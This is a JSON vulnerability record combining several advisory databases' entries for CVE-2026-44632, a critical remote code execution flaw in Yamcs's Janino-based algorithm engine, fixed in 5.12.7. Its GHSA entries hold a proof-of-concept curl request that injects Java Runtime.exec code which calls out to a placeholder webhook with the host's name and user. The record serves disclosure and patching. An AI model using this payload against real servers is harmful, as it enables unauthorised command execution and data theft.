{"id":"CVE-2026-44632","aliases":["EUVD-2026-44957","GHSA-524g-x36v-9wm6"],"status":"published","title":"Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`","description":"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01116,"percentile":0.66309,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-05-27T00:05:45Z","modified":"2026-10-28T10:49:48Z","fixes":[{"ecosystem":"Maven","package":"org.yamcs:yamcs-core","fixed_in":["5.12.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.12.7"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.12.7"}]}],"versions":["0.29.3","0.30.0","3.0.0","3.1.0","3.1.1","3.1.2","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.4.0","3.4.1","3.4.11","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.8","4.0.0","4.0.1","4.1.1","4.1.2","4.10.0","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.10.9","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.7","4.7.1","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","5.0.0","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.10.0","5.10.1","5.10.10","5.10.11","5.10.12","5.10.2","5.10.3","5.10.4","5.10.5","5.10.6","5.10.7","5.10.8","5.10.9","5.11.0","5.11.1","5.11.10","5.11.11","5.11.12","5.11.13","5.11.2","5.11.3","5.11.4","5.11.5","5.11.6","5.11.7","5.11.8","5.11.9","5.12.0","5.12.1","5.12.2","5.12.3","5.12.4","5.12.5","5.12.6","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.6.0","5.6.1","5.6.2","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.9.0","5.9.1","5.9.10","5.9.11","5.9.12","5.9.2","5.9.3","5.9.4","5.9.5","5.9.6","5.9.7","5.9.8","5.9.8.1","5.9.9"]}],"products":[{"vendor":"spaceapplications","product":"yamcs"},{"vendor":"yamcs","product":"yamcs"}],"references":[{"url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011","tags":["x_refsource_MISC","Patch","fix"]},{"url":"https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992","tags":["x_refsource_MISC","Patch","fix"]},{"url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-524g-x36v-9wm6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44632.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44632","tags":["advisory"]},{"url":"https://github.com/yamcs/yamcs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44632","title":"Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`","description":"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.","status":"published","published":"2026-07-16T16:05:28.554Z","modified":"2026-07-16T16:46:26.159Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-44957","description":"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.","status":"published","published":"2026-07-16T16:05:28Z","modified":"2026-07-16T16:46:26Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:51.364603Z"}],"ghsa":[{"id":"GHSA-524g-x36v-9wm6","title":"Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`","description":"### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (`org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory`). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.\n\n### Proof of Concept (PoC)\nThe vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.\n\n**Prerequisites:**\n1. A running Yamcs instance with an active processor (e.g., `instance=myproject`, `processor=realtime`).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n\n**Steps to Reproduce:**\n\n1. Send an authenticated HTTP `PATCH` request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., `copySunsensor`). The payload uses `java.lang.Runtime` to execute a reverse shell or ping an external webhook.\n\n```bash\ncurl -i -X PATCH \\\n  'http://\u003cYAMCS-SERVER-IP\u003e:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cYOUR_AUTH_TOKEN\u003e' \\\n  -d '{\n    \"action\": \"SET\",\n    \"algorithm\": {\n      \"text\": \"try { java.lang.Runtime.getRuntime().exec(new String[]{\\\"bash\\\", \\\"-c\\\", \\\"curl https://\u003cYOUR-WEBHOOK-URL\u003e/$(hostname)_$(whoami)\\\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);\"\n    }\n  }'\n```\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to generate sun sensor data).\n3. The Yamcs server uses the Janino `SimpleCompiler` to compile the injected text into a Java class on the fly. Since no restrictive `ClassLoader` is applied, the payload is successfully compiled and executed.\n4. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nThis vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.\n\n### Credits\nDiscovered \u0026 reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.","status":"published","published":"2026-05-27T00:05:45Z","modified":"2026-05-27T00:05:45Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:14.666177Z"}],"nvd":[{"id":"CVE-2026-44632","description":"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.","status":"published","published":"2026-07-16T17:16:56.023Z","modified":"2026-07-17T18:38:47.353Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-44632","title":"Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`","description":"Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.","status":"published","published":"2026-07-16T16:05:28.554Z","modified":"2026-10-28T10:49:48.206358814Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-524g-x36v-9wm6","title":"Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`","description":"### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (`org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory`). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.\n\n### Proof of Concept (PoC)\nThe vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.\n\n**Prerequisites:**\n1. A running Yamcs instance with an active processor (e.g., `instance=myproject`, `processor=realtime`).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n\n**Steps to Reproduce:**\n\n1. Send an authenticated HTTP `PATCH` request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., `copySunsensor`). The payload uses `java.lang.Runtime` to execute a reverse shell or ping an external webhook.\n\n```bash\ncurl -i -X PATCH \\\n  'http://\u003cYAMCS-SERVER-IP\u003e:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cYOUR_AUTH_TOKEN\u003e' \\\n  -d '{\n    \"action\": \"SET\",\n    \"algorithm\": {\n      \"text\": \"try { java.lang.Runtime.getRuntime().exec(new String[]{\\\"bash\\\", \\\"-c\\\", \\\"curl https://\u003cYOUR-WEBHOOK-URL\u003e/$(hostname)_$(whoami)\\\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);\"\n    }\n  }'\n```\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to generate sun sensor data).\n3. The Yamcs server uses the Janino `SimpleCompiler` to compile the injected text into a Java class on the fly. Since no restrictive `ClassLoader` is applied, the payload is successfully compiled and executed.\n4. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nThis vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.\n\n### Credits\nDiscovered \u0026 reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.","status":"published","published":"2026-05-27T00:05:45Z","modified":"2026-05-27T00:26:29.851308Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}